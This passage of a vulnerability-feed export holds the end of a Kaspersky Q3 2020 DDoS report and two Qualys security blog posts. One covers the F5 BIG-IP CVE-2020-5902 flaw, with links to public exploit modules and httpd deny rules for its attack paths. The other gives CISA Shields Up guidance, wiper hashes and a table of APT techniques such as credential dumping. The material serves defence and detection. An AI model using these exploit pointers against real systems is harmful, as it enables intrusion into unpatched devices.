quarter.\n\nBesides Saturday and Thursday, Monday also increased its share of attacks, although not significantly, while the remaining days saw their percentage fall accordingly.\n\n_Distribution of DDoS attacks by day of the week, Q2 and Q3 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152347/05-en-ddos-report-q3-2020-chrarts.png>))_\n\n### Duration and types of DDoS attacks\n\nThe average attack duration in Q3 continued to shorten. This can be explained by the increase in the share of ultra-short attacks (this time by a significant 5.09 p.p.). However, unlike in the previous reporting period, the share of long (100\u2013139 hours) attacks decreased inappreciably (by just 0.08 p.p.), while the share of ultra-long attacks even rose slightly (by 0.18 p.p.). Whereas in Q2, the longest attacks did not even reach nine days, this quarter we registered two lasting over 10 days (246 and 245 hours), and the number of attacks lasting 5\u201310 days increased by 1.5 times.\n\nAs such, the following picture emerged: the bulk of attacks (91.06%) lasted up to four hours; 4.89% lasted 5\u20139 hours; 2.25% lasted 10\u201319 hours; 2.09% lasted 20\u201349 hours; 0.4% lasted 50\u201399 hours; and just 0.08% lasted 100\u2013139 hours. Unusually, this quarter the number of attacks lasting 140 hours or more is actually greater than the number of attacks in the bracket before it, accounting for 0.23% of the total number of DDoS attacks.\n\n_Distribution of DDoS attacks by duration (hours), Q2 and Q3 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152421/06-en-ddos-report-q3-2020-chrarts.png>))_\n\nThe distribution of attacks of different types is unchanged from the last reporting period, as is the share of the most common type \u2014 SYN flooding: 94.6% in Q3 versus 94.7% in Q2. ICMP flooding decreased slightly (3.4% against the previous 4.9%), but did not surrender its positions. TCP attacks comprised 1.4% of the total number registered (up by a considerable 1.2 p.p.); UDP attacks accounted for 0.6%, while HTTP attacks were so few that their share did not even stretch to 0.1%.\n\n_Distribution of DDoS attacks by type, Q3 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152446/07-en-ddos-report-q3-2020-chrarts.png>))_\n\nIn Q3, the share of Windows botnets continued to fall: this time their number dropped by 0.61 p.p. against the previous quarter to 4.61%. The percentage of Linux botnets grew accordingly.\n\n_Ratio of Windows/Linux botnet attacks, Q2 and Q3 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152511/08-en-ddos-report-q3-2020-chrarts.png>))_\n\n## Conclusion\n\nIf Q2 2020 surprised us with an unusually high number of DDoS attacks for this period, the Q3 figures point to a normalization. Judging by the number of unique targets, in comparison with last quarter, cybercriminals were more attracted by European, and less by the Asian countries, such as Japan and South Korea, although interest in China is still high and continues to grow in terms both of unique targets and of attacks. Growth was observed in the number of short and ultra-short attacks, as well as multi-day ones. The sharp contrast between the highest and lowest number of attacks per day is curious. Taken together, these indicators mark Q3 2020 out as somewhat contradictory from a DDoS viewpoint.\n\nIt will be interesting to see what Q4 has in store. Barring major shocks, we expect to see indicators comparable to those at end-2019. Back then, after almost two years of growth, the DDoS market more or less stabilized.\n\nQ4 is usually a hot time due to the Christmas and New Year sales frenzy. End-of-year figures are typically around 30% higher than those of Q3. We expect to see a similar picture this year, although, after the abnormally active Q2, it would be foolhardy to make cast-iron predictions. That said, if nothing else extraordinary happens in this more-than-extraordinary year, we see no reason for the DDoS market to experience a significant swing in either direction in Q4.", "cvss3": {}, "published": "2020-10-28T10:00:21", "type": "securelist", "title": "DDoS attacks in Q3 2020", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-10173", "CVE-2020-5902"], "modified": "2020-10-28T10:00:21", "id": "SECURELIST:355BE138D7CDD7D13D1F61F71F8406C4", "href": "https://securelist.com/ddos-attacks-in-q3-2020/99171/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2020-08-07T08:03:43", "description": "**Update July 10, 2020**: F5 updated their mitigation section of [security advisory](<https://support.f5.com/csp/article/K52145254>) on July 8, 2020 at 17:00 Pacific time, and provided a new mitigation mechanism to help customers mitigate currently known unauthenticated exploits. \nQualys also updated QID 38791 to reflect these changes and are available in VULNSIGS version 2.4.935-3 and above.\n\n**Update July 8, 2020**: F5 updated the [security advisory](<https://support.f5.com/csp/article/K52145254>) again on July 8, 2020, at 09:30 PT, saying that &quot;all previously provided mitigations are not completely effective&quot; and recommends &quot;installing patched versions of the software to address the underlying vulnerability.&quot; Customers are strongly urged to install the patched version as soon as possible.\n\nF5 Networks recently released updates for the critical RCE vulnerability (CVE-2020-5902) that affects its BIG-IP products. The vulnerability that has been actively exploited in the wild allows attackers to read files, execute code or take complete control over vulnerable systems having network access. The security issue has received a critical severity rating score of 9.8 based on CVSS v3.1 Scoring system. \n\n**Vulnerability Details:**\n\n[Mikhail Klyuchnikov](<https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/>), the security researcher from Positive Technologies who discovered the vulnerability, says, \u201cBy exploiting this vulnerability, a remote attacker with access to the BIG-IP configuration utility could, without authorization, perform remote code execution (RCE1). The attacker can create or delete files, disable services, intercept information, run arbitrary system commands and Java code, completely compromise the system, and pursue further targets, such as the internal network. RCE in this case results from security flaws in multiple components, such as one that allows directory traversal exploitation. This is particularly dangerous for companies whose F5 BIG-IP web interface is listed on search engines such as Shodan. Fortunately, most companies using the product do not enable access to the interface from the internet.\u201d\n\nThis vulnerability is observed in the wild to be actively exploited and causing credentials to be stolen.\n\nUS-Cyber Command tweeted to immediately patch your system:\n\n[](<https://threatprotect.qualys.com/wp-content/uploads/2020/07/f5-3.png>)\n\n##### **Exploitation****:**\n\nOn Shodan, we observed more than 1000 publicly-available devices on the internet that may be vulnerable.\n\n[](<https://threatprotect.qualys.com/wp-content/uploads/2020/07/3-1.jpg>)\n\n_Image Source: Shodan_\n\nMetasploit has released a public [exploit](<https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb>) module for CVE-2020-5902. Demonstration of the Metasploit POC is available on [GitHub](<https://github.com/jas502n/CVE-2020-5902>).\n\n[](<https://threatprotect.qualys.com/wp-content/uploads/2020/07/big-ip-1.jpg>)\n\n_Image Source: Qualys Lab_\n\n##### **Affected products:**\n\nBIG-IP versions 11.6.x, 12.1.x, 13.1.x, 15.0.x and 15.1.x\n\n## Using VMDR, Identify the Presence of CVE-2020-5902 and Management Interface on F5 Big-IP Remotely\n\nQualys has issued the information gathered (IG) QID 42400 to help customers track devices where the Management Interface is accessible on F5 BIG-IP. This QID can be detected via a remote unauthenticated scan.\n\n_QID 42400: Management Interface Accessible On F5 BIG-IP_\n\nTo identify the presence of CVE-2020-5902 remotely, Qualys has issued QID 38791: \n\n_QID 38791: F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)_\n\nAlong with the remote QID 38791, Qualys also released authenticated vulnerability QIDs (373106, 373107) which cover multiple CVEs (CVE-2020-5902, CVE-2020-5903). These QIDs are included in signature version VULNSIGS-2.4.930-5 and above.\n\nPlease Note: As F5 updated their advisory on July 8, with updated mitigation steps, Qualys QID 38791 is also updated to reflect those changes and is available in VULNSIGS-2.4.935-3 and above\n\n\n\nUsing VMDR, QID 38791 can be prioritized for the following RTIs:\n\n * Remote Code Execution\n * Unauthenticated Exploitation\n * Public Exploit\n * Active Attacks\n * Easy Exploit\n * High Data Loss\n\n\nWith VMDR Dashboard, you can track F5 Big-IP vulnerabilities, impacted hosts, their status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of CVE-2020-5902 vulnerability trends in your environment using [F5 BIG-IP Dashboard](<https://qualys-secure.force.com/discussions/s/article/000006364>):\n\n\n\n### Qualys Threat Protection\n\nQualys customers can stay on top of these threats proactively via the Live Feed provided for threat prioritization. With Live Feed updated for all emerging high and medium risks, you can clearly see the impacted hosts against threats. \n\n\n\nSimply click on the impacted assets number to see a list of hosts with this vulnerability.\n\n#### Configuration management adds context to overall vulnerability management\n\nTo overall reduce the security risk, it is important to take care of F5 Big-IP misconfigurations as well. Qualys VMDR shows your F5 Big-IP misconfiguration posture in context with your vulnerability posture, allowing you to see which hosts have CVE-2020-5902 vulnerability.\n\nWith [Qualys Policy Compliance](<https://community.qualys.com/policy-compliance/>) module of VMDR, you can check for misconfigurations in context to CVE-2020-5902 vulnerability.\n\n * Qualys configuration ID \u2013 18836 \u201cStatus of &#x27;LocationMatch&#x27; derivative included for httpd component using sys module\u2019 file\u201d would be evaluated against all interfaces to check for unauthenticated attackers in the result section as shown below \u2013\n\n\n * Qualys configuration ID \u2013 18835 \u201cList of allow-service configured for all Self IP Addresses\u201d would be evaluated against all self IPs that addresses unauthenticated and authenticated attackers on self-IPs, by blocking all access, as shown in the result section below \u2013\n\n\n * Qualys configuration ID \u2013 13903 \u201cStatus of current list of allowed IP addresses for httpd daemon\u201d would be evaluated against all Management interface that addresses unauthenticated attackers on management interface, by restricting access, as shown in the result section below \u2013\n\n\n## Risk-Based Prioritization of F5 BIG-IP Vulnerability\n\n \nNow that you have identified the hosts, F5 Big-IP versions and context of detected vulnerabilities and misconfigurations, you may want to prioritize your remediation based on the risk, as each vulnerable asset might not pose the same risk.\n\n#### High Risk:\n\nHosts for which QIDs 38791, 373106 or 373107 are detected for CVE-2020-5902 and misconfigurations CIDs 18836, 18835 and 13903 controls are failing as shown below-\n\n  \n\n#### Medium Risk:\n\nHosts with CVE-2020-5902 is detected, however, the configurations for running instances are detected as hardened.\n\n  \n\n#### **Workaround**\n\nAdministrators are advised to use ACL or Disable the TMUI to minimize the potential of inbound threats. F5 Networks has also provided a workaround as follows:\n\n**_All network interfaces:_**\n\n 1. Log in to the TMOS Shell (**tmsh**) by entering the following command: \ntmsh\n 2. Edit the **httpd** properties by entering the following command: \nedit /sys httpd all-properties\n * Locate the **include **section and add the following: \ninclude \u2018 \n_&lt;LocationMatch &quot;;&quot;>_\n * _Redirect 404 /_\n * _&lt;/LocationMatch>_\n * _&lt;LocationMatch &quot;hsqldb&quot;>_\n * _Redirect 404 /_\n * _&lt;/LocationMatch>_&#x27;\n 3. Write and save the changes to the configuration file by entering the following commands: \nEsc \n:wq!\n 4. Save the configuration by entering the following command: \nsave /sys config\n 5. Restart the **httpd **service by entering the following command: \nrestart sys service httpd \nAlternatively, users can follow the steps below to mitigate this vulnerability.\n * **Self IPs:** To block all access to the TMUI of your BIG-IP system via Self IPs, you can change the Port Lockdown setting to Allow None for each Self IP in the system. If you must open any ports, you should use Allow Custom, taking care to disallow access to TMUI.\n * **Management interface: **To mitigate this vulnerability for affected F5 products, you should only permit management access to F5 products over a secure network.\n\nCustomers are encouraged to scan their network with QIDs# 38791, 373106, 373107 to identify the presence of RCE vulnerability (CVE-2020-5902) and apply [F5 patches](<https://support.f5.com/csp/article/K52145254>) as soon as possible.\n\n#### **References &amp; Sources:**\n\n * <https://medium.com/@un4gi/from-directory-traversal-to-rce-an-inside-look-at-cve-2020-5902-17bf483e4a9d>\n * <https://github.com/yassineaboukir/CVE-2020-5902>\n * <https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb>\n * <https://github.com/jas502n/CVE-2020-5902>\n * <https://support.f5.com/csp/article/K52145254>", "cvss3": {}, "published": "2020-07-06T23:09:52", "type": "qualysblog", "title": "F5 BIG-IP Remote Code Execution Vulnerability (CVE-2020-5902)", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-06T23:09:52", "id": "QUALYSBLOG:66E92B63FC165BEAF707A9D6B2807033", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-04T01:27:17", "description": "**_CISA has created Shields Up as a response to the Russian invasion of Ukraine. Qualys is responding with additional security, monitoring and governance measures. This blog details how and what our enterprise customers can do to immediately strengthen their security posture and meet CISA\u2019s recommendations._**\n\nWith the invasion of Ukraine by Russia, the U.S. Cybersecurity &amp; Infrastructure Security Agency (CISA) has created a [program titled Shields Up](<https://www.cisa.gov/shields-up>) and provided specific guidance to all organizations. The Russian government has used cyber operations as a key component of force projection in the past and has targeted critical infrastructure to destabilize a governments\u2019 response capabilities. Critical infrastructure can include supply chain (including software supply chain), power, utilities, communications, transportation, and government and military organizations.\n\n### Protecting Customer Data on Qualys Cloud Platform****\n\nQualys is strongly committed to the security of our customers and their data. In addition to proactive risk mitigation with continuous patch and configuration management, we continually monitor all our environments for any indication of active threats, exploits and compromises. We hold our platforms to the highest security and compliance mandates like [FedRAMP](<https://blog.qualys.com/product-tech/2022/02/24/meet-fedramp-compliance-with-qualys-cloud-platform>). However, given the heightened risk environment around the globe, the Qualys Security and Engineering teams have been at a heightened state of vigilance in recent weeks. We continuously monitor our internal systems in this amplified threat environment. We are working with our security partners to access the latest threat intel. We have implemented additional security, monitoring, and governance measures involving our senior leadership and are committed to ensuring that the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>) remains available and secure to support the enterprises we serve worldwide.\n\n### Urgent: Assess and Heighten Your Security Posture\n\nBased on high-level guidelines provided by CISA, Qualys is recommending all organizations to establish the following actionable steps to adopt heightened cybersecurity posture to protect critical assets.\n\nThere are 4 steps necessary to strengthen security posture per CISA\u2019s Shields Up guidance: \n\n\n * Step 1: Know Your Shodan/Internet Exposed Assets Automatically\n * Step 2: Detect, Prioritize, and Remediate CISA&#x27;s Catalog of Known Exploited Vulnerabilities\n * Step 3: Protect Your Cloud Services and Office 365 Environment\n * Step 4: Continuously Detect a Potential Intrusion\n\n* * *\n\n****Implement CISA\u2019s Shields Up Guidance****\n\n[Try it Now](<https://www.qualys.com/forms/cisa-shields-up-service/>)\n\n* * *\n\n### Step 1: Monitor Your Shodan/Internet Exposed Assets \n\n\n#### Discover and protect your external facing assets \n\n\nAn organization\u2019s internet-facing systems represent much of their potential attack surface. Cyber threat actors are continuously scanning the internet for vulnerable systems to target attacks and campaigns. Often hackers find this information readily available on the dark web or in plain sight on internet search engines such as Shodan.io.\n\nInventory all your assets and monitor your external attack surface. [Qualys CyberSecurity Asset Management (CSAM)](<https://www.qualys.com/apps/cybersecurity-asset-management/>) provides comprehensive visibility of your external-facing IT infrastructure by natively correlating asset telemetry collected by Qualys sensors (e.g. Internet Scanners, Cloud Agents, Network Passive Sensors) and key built-in integrations such as [Shodan.io](<https://blog.qualys.com/vulnerabilities-threat-research/2021/12/20/qualys-integrates-with-shodan-to-help-map-the-external-attack-surface>) and Public Cloud Providers.\n\nOne of the biggest risks is unknown unknowns. These gaps in visibility happen for many reasons \u2013 including shadow IT, forgotten websites, legacy services, mergers &amp; acquisitions (M&amp;A), or simply because a development team exposes an application or database without informing their security team.\n\nCSAM enables you to continuously discover these blind spots and assess their security and compliance posture.\n\n\n\n#### Monitor Industrial Control Systems and Operational Technology\n\nNetwork segmentation traditionally kept Industrial Control Systems air-gapped. However, the acceleration of digital transformation has enabled more of these systems to connect with corporate as well as external networks, such as device vendors and Industrial IoT platforms. Further, the majority of Operational Technology utilizes legacy, non-secure protocols.\n\nBuild full visibility of your critical infrastructure, network communications, and vulnerabilities with Qualys Industrial Control Security (ICS).\n\n\n\n#### Detect and disable all non-essential ports and protocols, especially on internet exposed assets\n\nInventory your internal and external-facing assets, report open ports, and detected services on each port. Qualys CSAM supports extensive query language that enables teams to report and act on detected external facing assets that have a remote-control service running (for example Windows Remote Desktop). \n\n\n\n#### Ensure all systems are protected with up-to-date antivirus/anti-malware software****\n\nFlag assets within your inventory that are missing antivirus, or with signatures that are not up to date. CSAM allows you to define Software Rules and assign required software on a specific scope of assets or environment. For example, all database servers should have antivirus and a data loss prevention agent.\n\n\n\nVerify that your antivirus/anti-malware engine is up to date with the latest signatures.\n\n\n\nFor devices missing antivirus or anti-malware, [Qualys Multi-Vector EDR](<https://www.qualys.com/apps/endpoint-detection-response/>) with Integrated Anti-Malware can be easily enabled wherever the Qualys Cloud Agent is installed to provide immediate threat protection. In addition to basic anti-malware protection, Multi-Vector EDR will monitor endpoint activity to identify suspicious and malicious activity that usually bypasses traditional antivirus such as Living-off-the-Land attacks as well as MITRE ATT&amp;CK tactics and techniques.\n\n### Step 2: Detect, Prioritize and Remediate CISA&#x27;s Catalog of Known Exploited Vulnerabilities\n\nQualys Researcher analyzed all the 300+ CVEs from CISA known exploited vulnerabilities and mapped them to the Qualys QIDs. Many of these CVEs have patches available for the past several years. A new \u201cCISA Exploited\u201d RTI was added to VMDR to help customers create vulnerabilities reports that are focused on CISA exploited vulnerabilities. Customers can use the VMDR vulnerabilities page or VMDR prioritization page and filter the results to focus on all the \u201cCISA Exploited\u201d open vulnerabilities in their environment. \n\nFollowing are some of the critical vulnerabilities cataloged by CISA, as specifically known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n**CVE**| **QID**| **Title**| **Release Date**| **CVSS_V3** \n---|---|---|---|--- \nCVE-2018-13379| 43702| Fortinet Fortigate (FortiOS) System File Leak through Secure Sockets Layer (SSL) Virtual Private Network (VPN) via Specially Crafted Hypertext Transfer Protocol (HTTP) Resource Requests (FG-IR-18-384)| 9/12/2019| 9.8 \nCVE-2019-2725| 87386| Oracle WebLogic Server Remote Code Execution Vulnerability (Oracle Security Alert Advisory - CVE-2019-2725)| 4/27/2019| 9.8 \nCVE-2019-7609| 371687| Kibana Multiple Security Vulnerabilities (ESA-2019-01,ESA-2019-02,ESA-2019-03)| 4/18/2019| 10 \nCVE-2019-10149| 50092| Exim Remote Command Execution Vulnerability| 6/5/2019| 9.8 \nCVE-2019-11510| 38771| Pulse Connect Secure Multiple Security Vulnerabilities (SA44101)| 8/6/2019| 10 \nCVE-2019-19781| 372305| Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability(CTX267027)| 12/23/2019| 9.8 \nCVE-2020-0688| 50098| Microsoft Exchange Server Security Update for February 2020| 2/12/2020| 9.8 \nCVE-2020-4006| 13215| VMware Workspace One Access Command Injection Vulnerability (VMSA-2020-0027)| 12/7/2020| 9.1 \nCVE-2020-5902| 38791| F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)| 7/5/2020| 9.8 \nCVE-2020-14882| 87431| Oracle WebLogic Server Multiple Vulnerabilities (CPUOCT2020)| 10/21/2020| 9.8 \nCVE-2021-26855, CVE-2021- 26857 CVE-2021-26858, CVE-2021-27065 | 50107| Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyLogon)| 3/3/2021| 9.8 \n \nSee the full list of [CISA known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n#### Remediate CISA recommended catalog of exploited vulnerabilities \n\nFor all CISA cataloged vulnerabilities known to be exploited by Russian state-sponsored actors, [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) customers can create a patch and configuration fix jobs to remediate the risk of all vulnerabilities directly from the VMDR console. Qualys Patch Management maps \u201cCISA Exploited\u201d vulnerabilities detected in the environment to the relevant patches required to remediate those vulnerabilities by downloading the patches without needing to go through the VPN. Customers may use Zero Touch patching to automate the process and ensure all CISA exploited vulnerabilities are automatically fixed including the new vulnerabilities added to the CISA catalog in the future. \n\n\n\n#### Monitor and ensure your software are always up to date\n\nImmediately know all end-of-support critical components across your environment, including open-source software. Qualys CSAM tracks lifecycle stages and corresponding support status, to help organizations manage their technical debt and to reduce the risk of not receiving security patches from the vendor. Security and IT teams can work together to plan upgrades ahead of time by knowing upcoming end-of-life &amp; end-of-support dates.\n\n\n\nUse the \u201cPrioritize Report\u201d function in Qualys Patch Management to map software in your environment to the security risk opposed. Prioritize your remediation efforts based on software that introduces the most risk. Use this report to create automated patch jobs to ensure that the riskiest software is always up to date. Alternatively, deploy individual patches for the riskiest software. \n\n\n\n### Step 3: Protect Your Cloud Services and Office 365\n\nAs noted by CISA, misconfiguration of cloud services and SaaS applications like Office 365 are the primary attack vector for breaches.\n\n#### Detect and Remediate Public Cloud Infrastructure Misconfigurations****\n\nProtect your public cloud infrastructure by securing the following services on priority:\n\n * **IAM**: Ensure all users are MFA enabled and rotate all access keys older than 30 days. Verify that all service accounts are valid (i.e. in use) and have the minimum privilege.\n * **Audit Logs**: Turn on access logging for all cloud management events and for critical services (e.g. S3, RDS, etc.)\n * **Public-facing assets**: Validate that the firewall rules for public-facing assets allow only the needed ports. Pay special attention to RDP access. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.\n\n Automatically detect and remediate cloud misconfigurations using [Qualys CloudView](<https://www.qualys.com/apps/cloud-security-assessment/>).\n\n\n\n#### Protect your Office 365 and Other SaaS Services****\n\nEnforce multi-factor authentication on all accounts with access to Office 365 tenants. At a minimum, enable MFA for accounts with different admin access rights to the tenant. [Qualys SaaSDR](<https://www.qualys.com/apps/saas-detection-response/>) lists all such accounts on which MFA is disabled. Further, Qualys SaaSDR enables continuous security posture assessment of Office 365 via the CIS (Center for Internet Security) certified policy for Office, along with automated security configuration assessment for Zoom, Salesforce, and Google Workspace. This is based on an analysis of all security weaknesses, critical vulnerabilities, and exploits leveraged by attackers in historical attacks as well as security assessments based on the MITRE ATT&amp;CK framework.\n\n\n\n### Step 4: Continuously Detect any Potential Threats and Attacks \n\nMonitor for increases in suspicious and malicious activities as well as anomalous behavior on all endpoints. With Qualys Multi-Vector EDR, customers can detect Indicators of Compromise (IOC) and MITRE ATT&amp;CK Tactics &amp; Techniques provided by CISA and respond quickly to mitigate the risk by capturing process, file, and network events on the endpoint and correlating them with the latest Threat Intelligence, including new and upcoming Indicators of Compromise (IOC) constantly added by the Qualys Research Team. Anomalous endpoint behavior is detected and identified as MITRE ATT&amp;CK Tactics and Techniques.\n\n\n\nThe Appendix at the bottom of this post contains a list of Indicators of Compromise (IOC) and MITRE ATT&amp;CK Tactics &amp; Techniques being utilized.\n\n## Take Action to Learn More about How to Strengthen Your Defenses\n\nWe encourage you to learn more about how to strengthen your defenses consistent with CISA Shields Up guidelines using Qualys Cloud Platform. Join our webinar, [How to Meet CISA Shields Up Guidelines for Cyberattack Protection](<https://event.on24.com/wcc/r/3684128/0F6FB4010D39461FD4209A3E4EB8E9CD>), on March 3, 2022.\n\nQualys recommends that all organizations, regardless of size, heighten their security posture based on the above actionable steps, to protect critical cyber infrastructure from potential state-sponsored, advanced cyberattacks. Qualys Cloud Platform remains continuously committed to high standards of security and compliance to safeguard customer data. In this amplified threat environment, the entire Qualys team is available to help our customers improve cybersecurity and resilience.\n\n* * *\n\n****Implement CISA\u2019s Shields Up Guidance****\n\n[Try it Now](<https://www.qualys.com/forms/cisa-shields-up-service/>)\n\n* * *\n\n### **Appendix:**\n\n#### CISA catalog of known exploited vulnerabilities by state attackers\n\n**CVE**| **QID**| **Title**| **Release Date**| **CVSS_V3** \n---|---|---|---|--- \nCVE-2018-13379| 43702| Fortinet Fortigate (FortiOS) System File Leak through Secure Sockets Layer (SSL) Virtual Private Network (VPN) via Specially Crafted Hypertext Transfer Protocol (HTTP) Resource Requests (FG-IR-18-384)| 9/12/2019| 9.8 \nCVE-2019-1653| 13405| Cisco Small Business RV320 and RV325 Router Multiple Security Vulnerabilities| 1/29/2019| 7.5 \nCVE-2019-2725| 87386| Oracle WebLogic Server Remote Code Execution Vulnerability (Oracle Security Alert Advisory - CVE-2019-2725)| 4/27/2019| 9.8 \nCVE-2019-7609| 371687| Kibana Multiple Security Vulnerabilities (ESA-2019-01,ESA-2019-02,ESA-2019-03)| 4/18/2019| 10 \nCVE-2019-9670| 375990| Zimbra XML External Entity Injection (XXE) Vulnerability| 8/12/2021| 9.8 \nCVE-2019-10149| 50092| Exim Remote Command Execution Vulnerability| 6/5/2019| 9.8 \nCVE-2019-11510| 38771| Pulse Connect Secure Multiple Security Vulnerabilities (SA44101)| 8/6/2019| 10 \nCVE-2019-19781| 372305| Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability(CTX267027)| 12/23/2019| 9.8 \nCVE-2020-0688| 50098| Microsoft Exchange Server Security Update for February 2020| 2/12/2020| 9.8 \nCVE-2020-4006| 13215| VMware Workspace One Access Command Injection Vulnerability (VMSA-2020-0027)| 12/7/2020| 9.1 \nCVE-2020-5902| 38791| F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)| 7/5/2020| 9.8 \nCVE-2020-14882| 87431| Oracle WebLogic Server Multiple Vulnerabilities (CPUOCT2020)| 10/21/2020| 9.8 \nCVE-2021-26855, CVE-2021- 26857 CVE-2021-26858, CVE-2021-27065 | 50107| Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyLogon)| 3/3/2021| 9.8 \n \nSee the full list of [CISA known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n#### List of IOCs related to Hermetic Wiper aka KillDisk\n\n**SHA256 Hashes** \n--- \n0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da \n06086c1da4590dcc7f1e10a6be3431e1166286a9e7761f2de9de79d7fda9c397 \n095c7fa99dbc1ed7a3422a52cc61044ae4a25f7f5e998cc53de623f49da5da43 \n0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0 \n1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 \n2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf \n34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907 \n3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 \n4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 \n7e154d5be14560b8b2c16969effdb8417559758711b05615513d1c84e56be076 \n923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 \n9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d \na196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 \nb01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 \nb60c0c04badc8c5defab653c581d57505b3455817b57ee70af74311fa0b65e22 \nb6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd \nc2d06ad0211c24f36978fe34d25b0018ffc0f22b0c74fd1f915c608bf2cfad15 \nd4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a \ndcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 \ne5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 \nf50ee030224bf617ba71d88422c25d7e489571bc1aba9e65dc122a45122c9321 \nfd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d \n \n#### List of MITRE ATT&amp;CK TIDs provided by CISA\n\n**Tactic**| **Technique******| **Procedure****** \n---|---|--- \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]| Active Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)]| \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]| Russian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)| Develop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]| Russian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]| Exploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]| Russian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]| Russian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]| Command and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]| Russian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]| Valid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]| Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]| Brute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]| Russian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]| Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]| Russian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket 